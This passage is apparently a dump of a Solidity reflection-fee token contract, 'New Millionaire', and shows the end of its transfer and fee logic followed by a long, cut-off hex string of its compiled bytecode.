(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600f81526020017f4e6577204d696c6c696f6e616972650000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4e4defb88f000000000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124e2565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea000006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a54683635c9adc5dea0000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffff